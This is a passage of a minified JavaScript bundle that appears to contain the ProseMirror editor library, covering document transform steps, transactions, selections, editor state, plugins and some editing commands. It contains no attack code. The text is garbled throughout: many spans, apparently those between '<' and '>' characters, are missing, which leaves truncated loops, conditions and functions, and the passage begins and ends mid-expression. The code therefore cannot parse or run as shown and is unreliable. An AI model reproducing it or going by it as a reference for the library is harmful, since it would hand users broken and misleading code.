n=0,i=gx(t),r=this.inverted?2:1,o=this.inverted?1:2;for(let a=0;ae)break;let l=this.ranges[a+r],u=c+l;if(e<=u&&a==i*3)return!0;n+=this.ranges[a+o]-l}return!1}forEach(e){let t=this.inverted?2:1,n=this.inverted?1:2;for(let i=0,r=0;i=0;t--){let i=e.getMirror(t);this.appendMap(e._maps[t].invert(),i!=null&&i>t?n-i-1:void 0)}}invert(){let e=new Qv;return e.appendMappingInverted(this),e}map(e,t=1){if(this.mirror)return this._map(e,t,!0);for(let n=this.from;nr&&c!o.isAtom||!a.type.allowsMarkType(this.mark.type)?o:o.mark(this.mark.addToSet(o.marks)),i),t.openStart,t.openEnd);return Xi.fromReplace(e,this.from,this.to,r)}invert(){return new dm(this.from,this.to,this.mark)}map(e){let t=e.mapResult(this.from,1),n=e.mapResult(this.to,-1);return t.deleted&&n.deleted||t.pos>=n.pos?null:new Lm(t.pos,n.pos,this.mark)}merge(e){return e instanceof Lm&&e.mark.eq(this.mark)&&this.from<=e.to&&this.to>=e.from?new Lm(Math.min(this.from,e.from),Math.max(this.to,e.to),this.mark):null}toJSON(){return{stepType:"addMark",mark:this.mark.toJSON(),from:this.from,to:this.to}}static fromJSON(e,t){if(typeof t.from!="number"||typeof t.to!="number")throw new RangeError("Invalid input for AddMarkStep.fromJSON");return new Lm(t.from,t.to,e.markFromJSON(t.mark))}};Pi.jsonID("addMark",yE);let dm=class Pm extends Pi{constructor(e,t,n){super(),this.from=e,this.to=t,this.mark=n}apply(e){let t=e.slice(this.from,this.to),n=new nt(vE(t.content,i=>i.mark(this.mark.removeFromSet(i.marks)),e),t.openStart,t.openEnd);return Xi.fromReplace(e,this.from,this.to,n)}invert(){return new yE(this.from,this.to,this.mark)}map(e){let t=e.mapResult(this.from,1),n=e.mapResult(this.to,-1);return t.deleted&&n.deleted||t.pos>=n.pos?null:new Pm(t.pos,n.pos,this.mark)}merge(e){return e instanceof Pm&&e.mark.eq(this.mark)&&this.from<=e.to&&this.to>=e.from?new Pm(Math.min(this.from,e.from),Math.max(this.to,e.to),this.mark):null}toJSON(){return{stepType:"removeMark",mark:this.mark.toJSON(),from:this.from,to:this.to}}static fromJSON(e,t){if(typeof t.from!="number"||typeof t.to!="number")throw new RangeError("Invalid input for RemoveMarkStep.fromJSON");return new Pm(t.from,t.to,e.markFromJSON(t.mark))}};Pi.jsonID("removeMark",dm);let bE=class Om extends Pi{constructor(e,t){super(),this.pos=e,this.mark=t}apply(e){let t=e.nodeAt(this.pos);if(!t)return Xi.fail("No node at mark step's position");let n=t.type.create(t.attrs,null,this.mark.addToSet(t.marks));return Xi.fromReplace(e,this.pos,this.pos+1,new nt(Fe.from(n),0,t.isLeaf?0:1))}invert(e){let t=e.nodeAt(this.pos);if(t){let n=this.mark.addToSet(t.marks);if(n.length==t.marks.length){for(let i=0;in.pos?null:new dS(t.pos,n.pos,i,r,this.slice,this.insert,this.structure)}toJSON(){let e={stepType:"replaceAround",from:this.from,to:this.to,gapFrom:this.gapFrom,gapTo:this.gapTo,insert:this.insert};return this.slice.size&&(e.slice=this.slice.toJSON()),this.structure&&(e.structure=!0),e}static fromJSON(e,t){if(typeof t.from!="number"||typeof t.to!="number"||typeof t.gapFrom!="number"||typeof t.gapTo!="number"||typeof t.insert!="number")throw new RangeError("Invalid input for ReplaceAroundStep.fromJSON");return new dS(t.from,t.to,t.gapFrom,t.gapTo,nt.fromJSON(e,t.slice),t.insert,!!t.structure)}};Pi.jsonID("replaceAround",_r);function D1(s,e,t){let n=s.resolve(e),i=t-e,r=n.depth;for(;i>0&&r>0&&n.indexAfter(r)==n.node(r).childCount;)r--,i--;if(i>0){let o=n.node(r).maybeChild(n.indexAfter(r));for(;i>0;){if(!o||o.isLeaf)return!0;o=o.firstChild,i--}}return!1}function $9(s,e,t,n){let i=[],r=[],o,a;s.doc.nodesBetween(e,t,(c,l,u)=>{if(!c.isInline)return;let h=c.marks;if(!n.isInSet(h)&&u.type.allowsMarkType(n.type)){let d=Math.max(l,e),p=Math.min(l+c.nodeSize,t),m=n.addToSet(h);for(let v=0;vs.step(c)),r.forEach(c=>s.step(c))}function H9(s,e,t,n){let i=[],r=0;s.doc.nodesBetween(e,t,(o,a)=>{if(!o.isInline)return;r++;let c=null;if(n instanceof X0){let l=o.marks,u;for(;u=n.isInSet(l);)(c||(c=[])).push(u),l=u.removeFromSet(l)}else n?n.isInSet(o.marks)&&(c=[n]):c=o.marks;if(c&&c.length){let l=Math.min(a+o.nodeSize,t);for(let u=0;us.step(new dm(o.from,o.to,o.style)))}function _E(s,e,t,n=t.contentMatch,i=!0){let r=s.doc.nodeAt(e),o=[],a=e+1;for(let c=0;c=0;c--)s.step(o[c])}function U9(s,e,t){return(e==0||s.canReplace(e,s.childCount))&&(t==s.childCount||s.canReplace(0,t))}function fm(s){let t=s.parent.content.cutByIndex(s.startIndex,s.endIndex);for(let n=s.depth,i=0,r=0;;--n){let o=s.$from.node(n),a=s.$from.index(n)+i,c=s.$to.indexAfter(n)-r;if(nt;m--)v||n.index(m)>0?(v=!0,u=Fe.from(n.node(m).copy(u)),h++):c--;let d=Fe.empty,p=0;for(let m=r,v=!1;m>t;m--)v||i.after(m+1)=0;o--){if(n.size){let a=t[o].type.contentMatch.matchFragment(n);if(!a||!a.validEnd)throw new RangeError("Wrapper type given to Transform.wrap does not form valid content of its parent wrapper")}n=Fe.from(t[o].type.create(t[o].attrs,n))}let i=e.start,r=e.end;s.step(new _r(i,r,i,r,new nt(n,0,0),t.length,!0))}function G9(s,e,t,n,i){if(!n.isTextblock)throw new RangeError("Type given to setBlockType should be a textblock");let r=s.steps.length;s.doc.nodesBetween(e,t,(o,a)=>{let c=typeof i=="function"?i(o):i;if(o.isTextblock&&!o.hasMarkup(n,c)&&q9(s.doc,s.mapping.slice(r).map(a),n)){let l=null;if(n.schema.linebreakReplacement){let p=n.whitespace=="pre",m=!!n.contentMatch.matchType(n.schema.linebreakReplacement);p&&!m?l=!1:!p&&m&&(l=!0)}l===!1&&HL(s,o,a,r),_E(s,s.mapping.slice(r).map(a,1),n,void 0,l===null);let u=s.mapping.slice(r),h=u.map(a,1),d=u.map(a+o.nodeSize,1);return s.step(new _r(h,d,h+1,d-1,new nt(Fe.from(n.create(c,null,o.marks)),0,0),1,!0)),l===!0&&$L(s,o,a,r),!1}})}function $L(s,e,t,n){e.forEach((i,r)=>{if(i.isText){let o,a=/\r?\n|\r/g;for(;o=a.exec(i.text);){let c=s.mapping.slice(n).map(t+1+r+o.index);s.replaceWith(c,c+1,e.type.schema.linebreakReplacement.create())}}})}function HL(s,e,t,n){e.forEach((i,r)=>{if(i.type==i.type.schema.linebreakReplacement){let o=s.mapping.slice(n).map(t+1+r);s.replaceWith(o,o+1,e.type.schema.text(` +`))}})}function q9(s,e,t){let n=s.resolve(e),i=n.index();return n.parent.canReplaceWith(i,i+1,t)}function K9(s,e,t,n,i){let r=s.doc.nodeAt(e);if(!r)throw new RangeError("No node at given position");t||(t=r.type);let o=t.create(n,null,i||r.marks);if(r.isLeaf)return s.replaceWith(e,e+r.nodeSize,o);if(!t.validContent(r.content))throw new RangeError("Invalid content for node type "+t.name);s.step(new _r(e,e+r.nodeSize,e+1,e+r.nodeSize-1,new nt(Fe.from(o),0,0),1,!0))}function bc(s,e,t=1,n){let i=s.resolve(e),r=i.depth-t,o=n&&n[n.length-1]||i.parent;if(r<0||i.parent.type.spec.isolating||!i.parent.canReplace(i.index(),i.parent.childCount)||!o.type.validContent(i.parent.content.cutByIndex(i.index(),i.parent.childCount)))return!1;for(let l=i.depth-1,u=t-2;l>r;l--,u--){let h=i.node(l),d=i.index(l);if(h.type.spec.isolating)return!1;let p=h.content.cutByIndex(d,h.childCount),m=n&&n[u+1];m&&(p=p.replaceChild(0,m.type.create(m.attrs)));let v=n&&n[u]||h;if(!h.canReplace(d+1,h.childCount)||!v.type.validContent(p))return!1}let a=i.indexAfter(r),c=n&&n[0];return i.node(r).canReplaceWith(a,a,c?c.type:i.node(r+1).type)}function Q9(s,e,t=1,n){let i=s.doc.resolve(e),r=Fe.empty,o=Fe.empty;for(let a=i.depth,c=i.depth-t,l=t-1;a>c;a--,l--){r=Fe.from(i.node(a).copy(r));let u=n&&n[l];o=Fe.from(u?u.type.create(u.attrs,o):i.node(a).copy(o))}s.step(new Fo(e,e,new nt(r.append(o),t,t),!0))}function dh(s,e){let t=s.resolve(e),n=t.index();return UL(t.nodeBefore,t.nodeAfter)&&t.parent.canReplace(n,n+1)}function X9(s,e){e.content.size||s.type.compatibleContent(e.type);let t=s.contentMatchAt(s.childCount),{linebreakReplacement:n}=s.type.schema;for(let i=0;i0?(r=n.node(i+1),a++,o=n.node(i).maybeChild(a)):(r=n.node(i).maybeChild(a-1),o=n.node(i+1)),r&&!r.isTextblock&&UL(r,o)&&n.node(i).canReplace(a,a+1))return e;if(i==0)break;e=t<0?n.before(i):n.after(i)}}function Y9(s,e,t){let n=null,{linebreakReplacement:i}=s.doc.type.schema,r=s.doc.resolve(e-t),o=r.node().type;if(i&&o.inlineContent){let u=o.whitespace=="pre",h=!!o.contentMatch.matchType(i);u&&!h?n=!1:!u&&h&&(n=!0)}let a=s.steps.length;if(n===!1){let u=s.doc.resolve(e+t);HL(s,u.node(),u.before(),a)}o.inlineContent&&_E(s,e+t-1,o,r.node().contentMatchAt(r.index()),n==null);let c=s.mapping.slice(a),l=c.map(e-t);if(s.step(new Fo(l,c.map(e+t,-1),nt.empty,!0)),n===!0){let u=s.doc.resolve(l);$L(s,u.node(),u.before(),s.steps.length)}return s}function J9(s,e,t){let n=s.resolve(e);if(n.parent.canReplaceWith(n.index(),n.index(),t))return e;if(n.parentOffset==0)for(let i=n.depth-1;i>=0;i--){let r=n.index(i);if(n.node(i).canReplaceWith(r,r,t))return n.before(i+1);if(r>0)return null}if(n.parentOffset==n.parent.content.size)for(let i=n.depth-1;i>=0;i--){let r=n.indexAfter(i);if(n.node(i).canReplaceWith(r,r,t))return n.after(i+1);if(r=0;o--){let a=o==n.depth?0:n.pos<=(n.start(o+1)+n.end(o+1))/2?-1:1,c=n.index(o)+(a>0?1:0),l=n.node(o),u=!1;if(r==1)u=l.canReplace(c,c,i);else{let h=l.contentMatchAt(c).findWrapping(i.firstChild.type);u=h&&l.canReplaceWith(c,c,h[0])}if(u)return a==0?n.pos:a<0?n.before(o+1):n.after(o+1)}return null}function J0(s,e,t=e,n=nt.empty){if(e==t&&!n.size)return null;let i=s.resolve(e),r=s.resolve(t);return zL(i,r,n)?new Fo(e,t,n):new Z9(i,r,n).fit()}function zL(s,e,t){return!t.openStart&&!t.openEnd&&s.start()==e.start()&&s.parent.canReplace(s.index(),e.index(),t.content)}class Z9{constructor(e,t,n){this.$from=e,this.$to=t,this.unplaced=n,this.frontier=[],this.placed=Fe.empty;for(let i=0;i<=e.depth;i++){let r=e.node(i);this.frontier.push({type:r.type,match:r.contentMatchAt(e.indexAfter(i))})}for(let i=e.depth;i>0;i--)this.placed=Fe.from(e.node(i).copy(this.placed))}get depth(){return this.frontier.length-1}fit(){for(;this.unplaced.size;){let l=this.findFittable();l?this.placeNodes(l):this.openMore()||this.dropNode()}let e=this.mustMoveInline(),t=this.placed.size-this.depth-this.$from.depth,n=this.$from,i=this.close(e<0?this.$to:n.doc.resolve(e));if(!i)return null;let r=this.placed,o=n.depth,a=i.depth;for(;o&&a&&r.childCount==1;)r=r.firstChild.content,o--,a--;let c=new nt(r,o,a);return e>-1?new _r(n.pos,e,this.$to.pos,this.$to.end(),c,t):c.size||n.pos!=this.$to.pos?new Fo(n.pos,i.pos,c):null}findFittable(){let e=this.unplaced.openStart;for(let t=this.unplaced.content,n=0,i=this.unplaced.openEnd;n1&&(i=0),r.type.spec.isolating&&i<=n){e=n;break}t=r.content}for(let t=1;t<=2;t++)for(let n=t==1?e:this.unplaced.openStart;n>=0;n--){let i,r=null;n?(r=lC(this.unplaced.content,n-1).firstChild,i=r.content):i=this.unplaced.content;let o=i.firstChild;for(let a=this.depth;a>=0;a--){let{type:c,match:l}=this.frontier[a],u,h=null;if(t==1&&(o?l.matchType(o.type)||(h=l.fillBefore(Fe.from(o),!1)):r&&c.compatibleContent(r.type)))return{sliceDepth:n,frontierDepth:a,parent:r,inject:h};if(t==2&&o&&(u=l.findWrapping(o.type)))return{sliceDepth:n,frontierDepth:a,parent:r,wrap:u};if(r&&l.matchType(r.type))break}}}openMore(){let{content:e,openStart:t,openEnd:n}=this.unplaced,i=lC(e,t);return!i.childCount||i.firstChild.isLeaf?!1:(this.unplaced=new nt(e,t+1,Math.max(n,i.size+t>=e.size-n?t+1:0)),!0)}dropNode(){let{content:e,openStart:t,openEnd:n}=this.unplaced,i=lC(e,t);if(i.childCount<=1&&t>0){let r=e.size-t<=t+i.size;this.unplaced=new nt(Dm(e,t-1,1),t-1,r?t-1:n)}else this.unplaced=new nt(Dm(e,t,1),t,n)}placeNodes({sliceDepth:e,frontierDepth:t,parent:n,inject:i,wrap:r}){for(;this.depth>t;)this.closeFrontierNode();if(r)for(let v=0;v1||c==0||v.content.size)&&(h=g,u.push(jL(v.mark(d.allowedMarks(v.marks)),l==1?c:0,l==a.childCount?p:-1)))}let m=l==a.childCount;m||(p=-1),this.placed=Nm(this.placed,t,Fe.from(u)),this.frontier[t].match=h,m&&p<0&&n&&n.type==this.frontier[this.depth].type&&this.frontier.length>1&&this.closeFrontierNode();for(let v=0,g=a;v1&&i==this.$to.end(--n);)++i;return i}findCloseLevel(e){e:for(let t=Math.min(this.depth,e.depth);t>=0;t--){let{match:n,type:i}=this.frontier[t],r=t=0;a--){let{match:c,type:l}=this.frontier[a],u=cC(e,a,l,c,!0);if(!u||u.childCount)continue e}return{depth:t,fit:o,move:r?e.doc.resolve(e.after(t+1)):e}}}}close(e){let t=this.findCloseLevel(e);if(!t)return null;for(;this.depth>t.depth;)this.closeFrontierNode();t.fit.childCount&&(this.placed=Nm(this.placed,t.depth,t.fit)),e=t.move;for(let n=t.depth+1;n<=e.depth;n++){let i=e.node(n),r=i.type.contentMatch.fillBefore(i.content,!0,e.index(n));this.openFrontierNode(i.type,i.attrs,r)}return e}openFrontierNode(e,t=null,n){let i=this.frontier[this.depth];i.match=i.match.matchType(e),this.placed=Nm(this.placed,this.depth,Fe.from(e.create(t,n))),this.frontier.push({type:e,match:e.contentMatch})}closeFrontierNode(){let t=this.frontier.pop().match.fillBefore(Fe.empty,!0);t.childCount&&(this.placed=Nm(this.placed,this.frontier.length,t))}}function Dm(s,e,t){return e==0?s.cutByIndex(t,s.childCount):s.replaceChild(0,s.firstChild.copy(Dm(s.firstChild.content,e-1,t)))}function Nm(s,e,t){return e==0?s.append(t):s.replaceChild(s.childCount-1,s.lastChild.copy(Nm(s.lastChild.content,e-1,t)))}function lC(s,e){for(let t=0;t1&&(n=n.replaceChild(0,jL(n.firstChild,e-1,n.childCount==1?t-1:0))),e>0&&(n=s.type.contentMatch.fillBefore(n).append(n),t<=0&&(n=n.append(s.type.contentMatch.matchFragment(n).fillBefore(Fe.empty,!0)))),s.copy(n)}function cC(s,e,t,n,i){let r=s.node(e),o=i?s.indexAfter(e):s.index(e);if(o==r.childCount&&!t.compatibleContent(r.type))return null;let a=n.fillBefore(r.content,!0,o);return a&&!e7(t,r.content,o)?a:null}function e7(s,e,t){for(let n=t;n0;d--,p--){let m=i.node(d).type.spec;if(m.defining||m.definingAsContext||m.isolating)break;o.indexOf(d)>-1?a=d:i.before(d)==p&&o.splice(1,0,-d)}let c=o.indexOf(a),l=[],u=n.openStart;for(let d=n.content,p=0;;p++){let m=d.firstChild;if(l.push(m),p==n.openStart)break;d=m.content}for(let d=u-1;d>=0;d--){let p=l[d],m=t7(p.type);if(m&&!p.sameMarkup(i.node(Math.abs(a)-1)))u=d;else if(m||!p.type.isTextblock)break}for(let d=n.openStart;d>=0;d--){let p=(d+u+1)%(n.openStart+1),m=l[p];if(m)for(let v=0;v=0&&(s.replace(e,t,n),!(s.steps.length>h));d--){let p=o[d];p<0||(e=i.before(p),t=r.after(p))}}function VL(s,e,t,n,i){if(en){let r=i.contentMatchAt(0),o=r.fillBefore(s).append(s);s=o.append(r.matchFragment(o).fillBefore(Fe.empty,!0))}return s}function n7(s,e,t,n){if(!n.isInline&&e==t&&s.doc.resolve(e).parent.content.size){let i=J9(s.doc,e,n.type);i!=null&&(e=t=i)}s.replaceRange(e,t,new nt(Fe.from(n),0,0))}function i7(s,e,t){let n=s.doc.resolve(e),i=s.doc.resolve(t);if(n.parent.isTextblock&&i.parent.isTextblock&&n.start()!=i.start()&&n.parentOffset==0&&i.parentOffset==0){let o=n.sharedDepth(t),a=!1;for(let c=n.depth;c>o;c--)n.node(c).type.spec.isolating&&(a=!0);for(let c=i.depth;c>o;c--)i.node(c).type.spec.isolating&&(a=!0);if(!a){for(let c=n.depth;c>0&&e==n.start(c);c--)e=n.before(c);for(let c=i.depth;c>0&&t==i.start(c);c--)t=i.before(c);n=s.doc.resolve(e),i=s.doc.resolve(t)}}let r=GL(n,i);for(let o=0;o0&&(c||n.node(a-1).canReplace(n.index(a-1),i.indexAfter(a-1))))return s.delete(n.before(a),i.after(a))}for(let o=1;o<=n.depth&&o<=i.depth;o++)if(e-n.start(o)==n.depth-o&&t>n.end(o)&&i.end(o)-t!=i.depth-o&&n.start(o-1)==i.start(o-1)&&n.node(o-1).canReplace(n.index(o-1),i.index(o-1)))return s.delete(n.before(o),t);s.delete(e,t)}function GL(s,e){let t=[],n=Math.min(s.depth,e.depth);for(let i=n;i>=0;i--){let r=s.start(i);if(re.pos+(e.depth-i)||s.node(i).type.spec.isolating||e.node(i).type.spec.isolating)break;(r==e.start(i)||i==s.depth&&i==e.depth&&s.parent.inlineContent&&e.parent.inlineContent&&i&&e.start(i-1)==r-1)&&t.push(i)}return t}let qL=class fS extends Pi{constructor(e,t,n){super(),this.pos=e,this.attr=t,this.value=n}apply(e){let t=e.nodeAt(this.pos);if(!t)return Xi.fail("No node at attribute step's position");let n=Object.create(null);for(let r in t.attrs)n[r]=t.attrs[r];n[this.attr]=this.value;let i=t.type.create(n,null,t.marks);return Xi.fromReplace(e,this.pos,this.pos+1,new nt(Fe.from(i),0,t.isLeaf?0:1))}getMap(){return Af.empty}invert(e){return new fS(this.pos,this.attr,e.nodeAt(this.pos).attrs[this.attr])}map(e){let t=e.mapResult(this.pos,1);return t.deletedAfter?null:new fS(t.pos,this.attr,this.value)}toJSON(){return{stepType:"attr",pos:this.pos,attr:this.attr,value:this.value}}static fromJSON(e,t){if(typeof t.pos!="number"||typeof t.attr!="string")throw new RangeError("Invalid input for AttrStep.fromJSON");return new fS(t.pos,t.attr,t.value)}};Pi.jsonID("attr",qL);let KL=class N1 extends Pi{constructor(e,t){super(),this.attr=e,this.value=t}apply(e){let t=Object.create(null);for(let i in e.attrs)t[i]=e.attrs[i];t[this.attr]=this.value;let n=e.type.create(t,e.content,e.marks);return Xi.ok(n)}getMap(){return Af.empty}invert(e){return new N1(this.attr,e.attrs[this.attr])}map(e){return this}toJSON(){return{stepType:"docAttr",attr:this.attr,value:this.value}}static fromJSON(e,t){if(typeof t.attr!="string")throw new RangeError("Invalid input for DocAttrStep.fromJSON");return new N1(t.attr,t.value)}};Pi.jsonID("docAttr",KL);let Jg=class extends Error{};Jg=function s(e){let t=Error.call(this,e);return t.__proto__=s.prototype,t};Jg.prototype=Object.create(Error.prototype);Jg.prototype.constructor=Jg;Jg.prototype.name="TransformError";class QL{constructor(e){this.doc=e,this.steps=[],this.docs=[],this.mapping=new Qv}get before(){return this.docs.length?this.docs[0]:this.doc}step(e){let t=this.maybeStep(e);if(t.failed)throw new Jg(t.failed);return this}maybeStep(e){let t=e.apply(this.doc);return t.failed||this.addStep(e,t.doc),t}get docChanged(){return this.steps.length>0}changedRange(){let e=1e9,t=-1e9;for(let n=0;n{e=Math.min(e,a),t=Math.max(t,c)})}return e==1e9?null:{from:e,to:t}}addStep(e,t){this.docs.push(this.doc),this.steps.push(e),this.mapping.appendMap(e.getMap()),this.doc=t}replace(e,t=e,n=nt.empty){let i=J0(this.doc,e,t,n);return i&&this.step(i),this}replaceWith(e,t,n){return this.replace(e,t,new nt(Fe.from(n),0,0))}delete(e,t){return this.replace(e,t,nt.empty)}insert(e,t){return this.replaceWith(e,e,t)}replaceRange(e,t,n){return s7(this,e,t,n),this}replaceRangeWith(e,t,n){return n7(this,e,t,n),this}deleteRange(e,t){return i7(this,e,t),this}lift(e,t){return W9(this,e,t),this}join(e,t=1){return Y9(this,e,t),this}wrap(e,t){return V9(this,e,t),this}setBlockType(e,t=e,n,i=null){return G9(this,e,t,n,i),this}setNodeMarkup(e,t,n=null,i){return K9(this,e,t,n,i),this}setNodeAttribute(e,t,n){return this.step(new qL(e,t,n)),this}setDocAttribute(e,t){return this.step(new KL(e,t)),this}addNodeMark(e,t){return this.step(new bE(e,t)),this}removeNodeMark(e,t){let n=this.doc.nodeAt(e);if(!n)throw new RangeError("No node at position "+e);if(t instanceof _s)t.isInSet(n.marks)&&this.step(new kw(e,t));else{let i=n.marks,r,o=[];for(;r=t.isInSet(i);)o.push(new kw(e,r)),i=r.removeFromSet(i);for(let a=o.length-1;a>=0;a--)this.step(o[a])}return this}split(e,t=1,n){return Q9(this,e,t,n),this}addMark(e,t,n){return $9(this,e,t,n),this}removeMark(e,t,n){return H9(this,e,t,n),this}clearIncompatible(e,t,n){return _E(this,e,t,n),this}}const uC=Object.create(null);let Ft=class{constructor(e,t,n){this.$anchor=e,this.$head=t,this.ranges=n||[new r7(e.min(t),e.max(t))]}get anchor(){return this.$anchor.pos}get head(){return this.$head.pos}get from(){return this.$from.pos}get to(){return this.$to.pos}get $from(){return this.ranges[0].$from}get $to(){return this.ranges[0].$to}get empty(){let e=this.ranges;for(let t=0;t=0;r--){let o=t<0?ip(e.node(0),e.node(r),e.before(r+1),e.index(r),t,n):ip(e.node(0),e.node(r),e.after(r+1),e.index(r)+1,t,n);if(o)return o}return null}static near(e,t=1){return this.findFrom(e,t)||this.findFrom(e,-t)||new _c(e.node(0))}static atStart(e){return ip(e,e,0,0,1)||new _c(e)}static atEnd(e){return ip(e,e,e.content.size,e.childCount,-1)||new _c(e)}static fromJSON(e,t){if(!t||!t.type)throw new RangeError("Invalid input for Selection.fromJSON");let n=uC[t.type];if(!n)throw new RangeError(`No selection type ${t.type} defined`);return n.fromJSON(e,t)}static jsonID(e,t){if(e in uC)throw new RangeError("Duplicate use of selection JSON ID "+e);return uC[e]=t,t.prototype.jsonID=e,t}getBookmark(){return _t.between(this.$anchor,this.$head).getBookmark()}};Ft.prototype.visible=!0;let r7=class{constructor(e,t){this.$from=e,this.$to=t}},vx=!1;function yx(s){!vx&&!s.parent.inlineContent&&(vx=!0,console.warn("TextSelection endpoint not pointing into a node with inline content ("+s.parent.type.name+")"))}let _t=class Bm extends Ft{constructor(e,t=e){yx(e),yx(t),super(e,t)}get $cursor(){return this.$anchor.pos==this.$head.pos?this.$head:null}map(e,t){let n=e.resolve(t.map(this.head));if(!n.parent.inlineContent)return Ft.near(n);let i=e.resolve(t.map(this.anchor));return new Bm(i.parent.inlineContent?i:n,n)}replace(e,t=nt.empty){if(super.replace(e,t),t==nt.empty){let n=this.$from.marksAcross(this.$to);n&&e.ensureMarks(n)}}eq(e){return e instanceof Bm&&e.anchor==this.anchor&&e.head==this.head}getBookmark(){return new XL(this.anchor,this.head)}toJSON(){return{type:"text",anchor:this.anchor,head:this.head}}static fromJSON(e,t){if(typeof t.anchor!="number"||typeof t.head!="number")throw new RangeError("Invalid input for TextSelection.fromJSON");return new Bm(e.resolve(t.anchor),e.resolve(t.head))}static create(e,t,n=t){let i=e.resolve(t);return new this(i,n==t?i:e.resolve(n))}static between(e,t,n){let i=e.pos-t.pos;if((!n||i)&&(n=i>=0?1:-1),!t.parent.inlineContent){let r=Ft.findFrom(t,n,!0)||Ft.findFrom(t,-n,!0);if(r)t=r.$head;else return Ft.near(t,n)}return e.parent.inlineContent||(i==0?e=t:(e=(Ft.findFrom(e,-n,!0)||Ft.findFrom(e,n,!0)).$anchor,e.pos0?0:1);i>0?o=0;o+=i){let a=e.child(o);if(a.isAtom){if(!r&&vt.isSelectable(a))return vt.create(s,t-(i<0?a.nodeSize:0))}else{let c=ip(s,a,t+i,i<0?a.childCount:0,i,r);if(c)return c}t+=a.nodeSize*i}return null}function bx(s,e,t){let n=s.steps.length-1;if(n{o==null&&(o=u)}),s.setSelection(Ft.near(s.doc.resolve(o),t))}const _x=1,x_=2,Sx=4;class l7 extends QL{constructor(e){super(e.doc),this.curSelectionFor=0,this.updated=0,this.meta=Object.create(null),this.time=Date.now(),this.curSelection=e.selection,this.storedMarks=e.storedMarks}get selection(){return this.curSelectionFor0}setStoredMarks(e){return this.storedMarks=e,this.updated|=x_,this}ensureMarks(e){return _s.sameSet(this.storedMarks||this.selection.$from.marks(),e)||this.setStoredMarks(e),this}addStoredMark(e){return this.ensureMarks(e.addToSet(this.storedMarks||this.selection.$head.marks()))}removeStoredMark(e){return this.ensureMarks(e.removeFromSet(this.storedMarks||this.selection.$head.marks()))}get storedMarksSet(){return(this.updated&x_)>0}addStep(e,t){super.addStep(e,t),this.updated=this.updated&~x_,this.storedMarks=null}setTime(e){return this.time=e,this}replaceSelection(e){return this.selection.replace(this,e),this}replaceSelectionWith(e,t=!0){let n=this.selection;return t&&(e=e.mark(this.storedMarks||(n.empty?n.$from.marks():n.$from.marksAcross(n.$to)||_s.none))),n.replaceWith(this,e),this}deleteSelection(){return this.selection.replace(this),this}insertText(e,t,n){let i=this.doc.type.schema;if(t==null)return e?this.replaceSelectionWith(i.text(e),!0):this.deleteSelection();{if(n==null&&(n=t),!e)return this.deleteRange(t,n);let r=this.storedMarks;if(!r){let o=this.doc.resolve(t);r=n==t?o.marks():o.marksAcross(this.doc.resolve(n))}return this.replaceRangeWith(t,n,i.text(e,r)),!this.selection.empty&&this.selection.to==t+e.length&&this.setSelection(Ft.near(this.selection.$to)),this}}setMeta(e,t){return this.meta[typeof e=="string"?e:e.key]=t,this}getMeta(e){return this.meta[typeof e=="string"?e:e.key]}get isGeneric(){for(let e in this.meta)return!1;return!0}scrollIntoView(){return this.updated|=Sx,this}get scrolledIntoView(){return(this.updated&Sx)>0}}function wx(s,e){return!e||!s?s:s.bind(e)}let $m=class{constructor(e,t,n){this.name=e,this.init=wx(t.init,n),this.apply=wx(t.apply,n)}};const c7=[new $m("doc",{init(s){return s.doc||s.schema.topNodeType.createAndFill()},apply(s){return s.doc}}),new $m("selection",{init(s,e){return s.selection||Ft.atStart(e.doc)},apply(s){return s.selection}}),new $m("storedMarks",{init(s){return s.storedMarks||null},apply(s,e,t,n){return n.selection.$cursor?s.storedMarks:null}}),new $m("scrollToSelection",{init(){return 0},apply(s,e){return s.scrolledIntoView?e+1:e}})];class hC{constructor(e,t){this.schema=e,this.plugins=[],this.pluginsByKey=Object.create(null),this.fields=c7.slice(),t&&t.forEach(n=>{if(this.pluginsByKey[n.key])throw new RangeError("Adding different instances of a keyed plugin ("+n.key+")");this.plugins.push(n),this.pluginsByKey[n.key]=n,n.spec.state&&this.fields.push(new $m(n.key,n.spec.state,n))})}}class vp{constructor(e){this.config=e}get schema(){return this.config.schema}get plugins(){return this.config.plugins}apply(e){return this.applyTransaction(e).state}filterTransaction(e,t=-1){for(let n=0;nn.toJSON())),e&&typeof e=="object")for(let n in e){if(n=="doc"||n=="selection")throw new RangeError("The JSON fields `doc` and `selection` are reserved");let i=e[n],r=i.spec.state;r&&r.toJSON&&(t[n]=r.toJSON.call(i,this[i.key]))}return t}static fromJSON(e,t,n){if(!t)throw new RangeError("Invalid input for EditorState.fromJSON");if(!e.schema)throw new RangeError("Required config field 'schema' missing");let i=new hC(e.schema,e.plugins),r=new vp(i);return i.fields.forEach(o=>{if(o.name=="doc")r.doc=yc.fromJSON(e.schema,t.doc);else if(o.name=="selection")r.selection=Ft.fromJSON(r.doc,t.selection);else if(o.name=="storedMarks")t.storedMarks&&(r.storedMarks=t.storedMarks.map(e.schema.markFromJSON));else{if(n)for(let a in n){let c=n[a],l=c.spec.state;if(c.key==o.name&&l&&l.fromJSON&&Object.prototype.hasOwnProperty.call(t,a)){r[o.name]=l.fromJSON.call(c,e,t[a],r);return}}r[o.name]=o.init(e,r)}}),r}}function ZL(s,e,t){for(let n in s){let i=s[n];i instanceof Function?i=i.bind(e):n=="handleDOMEvents"&&(i=ZL(i,e,{})),t[n]=i}return t}class $s{constructor(e){this.spec=e,this.props={},e.props&&ZL(e.props,this,this.props),this.key=e.key?e.key.key:eP("plugin")}getState(e){return e[this.key]}}const dC=Object.create(null);function eP(s){return s in dC?s+"$"+ ++dC[s]:(dC[s]=0,s+"$")}class fn{constructor(e="key"){this.key=eP(e)}get(e){return e.config.pluginsByKey[this.key]}getState(e){return e[this.key]}}const tP=(s,e)=>s.selection.empty?!1:(e&&e(s.tr.deleteSelection().scrollIntoView()),!0);function sP(s,e){let{$cursor:t}=s.selection;return!t||(e?!e.endOfTextblock("backward",s):t.parentOffset>0)?null:t}const nP=(s,e,t)=>{let n=sP(s,t);if(!n)return!1;let i=wE(n);if(!i){let o=n.blockRange(),a=o&&fm(o);return a==null?!1:(e&&e(s.tr.lift(o,a).scrollIntoView()),!0)}let r=i.nodeBefore;if(dP(s,i,e,-1))return!0;if(n.parent.content.size==0&&(Zg(r,"end")||vt.isSelectable(r)))for(let o=n.depth;;o--){let a=J0(s.doc,n.before(o),n.after(o),nt.empty);if(a&&a.slice.size1)break}return r.isAtom&&i.depth==n.depth-1?(e&&e(s.tr.delete(i.pos-r.nodeSize,i.pos).scrollIntoView()),!0):!1},u7=(s,e,t)=>{let 